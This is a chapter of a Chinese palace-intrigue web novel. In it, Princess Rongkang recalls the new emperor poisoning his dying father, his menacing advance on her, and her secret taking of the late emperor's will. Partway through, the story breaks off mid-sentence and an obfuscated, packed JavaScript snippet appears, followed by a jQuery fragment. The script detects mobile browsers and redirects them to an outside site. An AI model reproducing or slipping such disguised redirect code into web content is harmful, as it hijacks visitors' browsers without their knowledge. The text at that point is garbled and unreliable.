再说庆王妃每每见了向兰淑,心中都是五味杂陈。
向兰淑思慕萧明德,她为人也很不错,当年庆王与庆王妃一心要为萧明德求娶向兰淑,哪知道半路杀出个程咬金,汪皇后横插一脚,硬是让圣上下旨,将向兰淑许配给了太子萧惇。
向兰淑如今贵为皇后,二人相见,绝口不提从前的事儿。
向兰淑笑着对庆王妃道:“皇婶是不知道,煊儿刚生下来时,眉毛头发都稀疏得很,小脸也是皱巴巴的,是真丑啊,我都不忍心看。不成想刚过一个多月,就像是换了个人儿似的,白白嫩嫩,眉目清秀了不少。”
庆王妃在这里陪坐了小半天,听她说些吃喝拉撒的琐事,心内很不耐烦了,面上笑着:“娘娘还是年轻,头一胎自然什么都不懂,这回可算是涨见识了。新生的孩子都这样的,过些日子就好了。陛下与娘娘都长得好看,往后再有了皇子公主,个个都错不了的。”
……
谁耐烦再与他生儿育女?向兰淑心中一哽,已经有了一个皇子,她还没有想过往后的事。
听得棠妙卿笑着夸赞:“小皇子能吃能睡的,可真懂事,真是有福气。”
其实萧煊生得平平,眉毛淡淡的,眼睛也不大,睁开后显得更小。若说长得多么俊俏,实在夸不出口,只能夸懂事了。
萧惇看过了儿子,不想听女人家絮絮叨叨说些家长里短,他起身要走:“皇婶和棠姑娘中午别走了,朕让御膳房准备几道菜,你们陪皇后说说话。”
荣康公主陪着皇太后用过午膳,又伺候她歇下,便带着两个贴身宫娥,在寿康宫门口来回溜达。
心中焦灼,但是她不敢走远,只说是午膳后积食,在寿康宫门口附近徘徊。
今日庆王妃带着棠妙卿进宫,也该从皇后宫中出来了,荣康公主就远远等着。
待庆王妃与棠妙卿从寿成殿出来,荣康公主一眼望见,情不自禁往前走了几步。
庆王妃瞧见荣康公主,心里诧异。荣康公主自小养在太后宫中,一向是沉默寡言,深居简出。今日她守在这里做什么?
走近了,见过礼,荣康公主小脸上堆着笑:“难得见到皇婶,太后还在歇息,不若您到我殿中坐一坐,也好说说话。”
庆王妃和荣康也不熟稔,平日见面的次数屈指可数,见她如此热络,心中愈发狐疑,面上笑吟吟推辞道:“下次吧!今日在皇后娘娘那里坐了半日,我这身子骨实在撑不住了,改日再来陪公主说话。”
一听就是哄人的话!荣康公主肉眼可见的失望,她咬咬唇,看一眼棠妙卿:“我瞧着与棠姑娘投缘,下次再入宫,可定要到我这里歇会儿,咱们说说体己话儿。”
面前的荣康公主生得娇小,看起来羞涩又天真,不知道她有什么事,要这么热情主动地笼络一个外人?
棠妙卿笑着施礼:“多谢公主抬爱。下次娘娘若再传召,臣女必来陪公主说话解闷。”
看着庆王妃与棠妙卿渐渐远去,荣康公主咬咬牙,跺了跺脚,终是无奈,转身回了寿康宫。
殿内静悄悄的,皇太后还在午睡。荣康公主独自坐在窗下,日光透过窗子照进来,当真是孤立无援。
先皇去世的前两日,福康公主侍疾多日,身子熬不住了,便回了公主府歇息。荣康便留在福宁殿,陪着汪皇后在龙榻前伺候。
那日太子萧惇来了,太后见他来了,便让荣康公主去旁边的暖阁歇息片刻。
荣康日夜不得安眠,夜间要听着汪皇后的动静,白日还要陪着皇后侍奉圣上,她年纪尚幼,正是贪睡的时候,本来就困倦难忍,一躺到榻上,便昏昏睡去。
不知道睡了多久,恍惚中,有脚步声渐近。
有人悄声过来看她的动静。她心中一凛,只闭着眼睛,装作睡得深沉,不曾醒过来。
那人在榻边站了一会儿,居高临下看着她,荣康毛骨悚然!
不知过了多久,那人终于转身迈步出去了。
荣康公主心中惊疑不定,她睁大眼睛,一动不动,听着外面的动静。
龙榻上,圣上已然是形销骨立,脸色蜡黄,瘦得只剩下一层皮包着骨头了。
萧惇坐在榻边的绣墩上,身体微微前倾,眼中只有冷漠,他端起药碗,也不试试冷热,便将药碗凑到圣上唇边:“父皇,您辛苦劳碌了这么些年,如今都到这地步了,为什么还不早早让位?儿臣也好名正言顺地接手朝政。”
圣上动了动嘴唇,已经不能说话了,药汁顺着嘴角流了出来。
萧惇没了耐心,捏住圣上的下颌,强行便将药汁全灌了进去,口中喃喃道:“您是何苦呢?早早将皇位传给我,您安心做个太上皇,颐养天年,这多好啊?儿臣治理天下,必定比你强得多,您也落得清净自在。”
圣上已经说不出话来了,徒劳睁开双眼,浑浊的眼睛里是怒火,喉咙里发出“嗬嗬”的痰鸣,抬手的力气都没有。
药汁顺着圣上的嘴角留下,打湿了枕头。
萧惇站起身来,拍了拍手,唤到:“来人,父皇这身衣裳湿了,赶紧给换一身干净的。还有这被褥,也都换了。”
不停地换衣裳、换被褥,重病之人哪里禁得住这种折腾?
殿内伺候的宫娥太监都垂着头听吩咐,又有哪个敢多嘴?
荣康公主在榻上吓得魂飞魄散,她翻了个身,面朝墙壁,头上的金钗歪了,发丝也散乱了,她不敢动弹!
榻边有脚步声近了。
荣康公主的心提到了嗓子眼,一身僵硬。
萧惇站在榻边,居高临下看了她很久。忽然,他弯下腰来,伸手将她散落的乱发轻轻掖到耳后,动作是无比温柔。
荣康公主安静地闭目躺着,一呼一吸间,只觉得那只手如同冰凉的毒蛇,慢慢蹭过她的脸颊。
度日如年熬了不知道多长时候,屋里的人走了。
荣康这才敢睁眼“醒”过来,只呆呆地躺着,浑身冷汗。
慢慢坐起来,她起身收拾好鬓发,走到外间。
荣康
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516356|186233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扫了一眼,发现郭海正不在,他最近与东宫走得很近,时常不在跟前。
汪皇后是乐于见到圣上身边的人与太子亲近的,只圣上一个人蒙在鼓里,不知情罢了。
想来汪皇后也去侧殿歇着了。荣康走到龙榻前,圣上的衣被都换了新的,蜡黄的脸半埋在锦被里,气若游丝。
荣康谨小慎微地活在皇后的屋檐下,对于她而言,圣上就是个陌生人。她从来没有像福康公主那样得到过圣上的宠爱。
圣上是高高在上的天子,一言九鼎,威严莫测。曾经威风八面的帝王,却躺在榻上,浑身病气,连句话都说不出来了。
荣康在榻前坐下,歪着头,静静地看着圣上。
圣上有所知觉,浑浊的眼珠子转动,看到荣康公主。他嘴唇蠕动,喉咙里发出:“啊……啊……”的声音。
荣康不知他是何意。对着他笑了笑,眼中慢慢蓄满了泪水:“父皇,您认得我是谁么?”
圣上更急了,又“啊”了两声,脸上青筋暴起。
荣康擦掉眼泪,不能让宫人看到的:“父皇,我也是您的女儿,荣康公主。”并没有人注意这边,她清了清嗓子,“我的生母是林侍御,您应该是不记得那个女人了!”
圣上用眼神拼命示意,朝龙榻的帷幄看去。
荣康顺着他的目光,向上看了杏黄色的帷幄一眼。她目光扫过宫人们,向前倾身,悄声道:“萧惇对女儿起了不轨之心。我们是同父异母的亲兄妹呢!”
圣上突然身子一挺,脸憋得发紫,他用尽所有力气,伸出手,颤抖指着龙榻的帷幄之上。
恰是午后,宫人们见荣康在圣上跟前侍奉,他们有忙着的,有偷懒打盹的。
荣康心中一动,确定无人注意,她站起身,踮起脚尖,伸出手去,摸索到一份遗诏。
荣康公主打开来,上面盖着御玺,盖着圣上的私章,还有他常用的鉴藏印,能用上的印信大宝都给用上了。
荣康看完了,脸色遽变。
圣上面色焦黄,渴盼地看着她。荣康浑身发抖,将遗诏藏进宽袖中的暗袋内:“我,我会将这个交给皇叔。”
圣上闭上眼睛,长长的喘了一口气。
两日后,圣上龙驭宾天。
……
荣康坐在窗下,听见内室有了动静,知道皇太后午睡醒了,便站起身往里走。
袖中还藏着那份遗诏,她随身带着,总要找到机会见到庆王妃的。
却说庆王府这边,何一唯先到了门前。他一下马,门房便知萧明德在后头,肯定是马上就要到了,赶紧进去报与王爷与王妃知晓。
偏生今日,庆王妃又遣人邀棠妙卿进府,王府内萧姌玥等人都聚在一块儿,说说笑笑,给王妃画花样子。
庆王妃站起身来,拉着棠妙卿的手便往外走:“一大早上,两只喜鹊就在窗外的树上叽叽喳喳叫唤,原来应在这了。快,你跟着我去迎迎他。”
众人都很是喜悦,簇拥着一道往外走。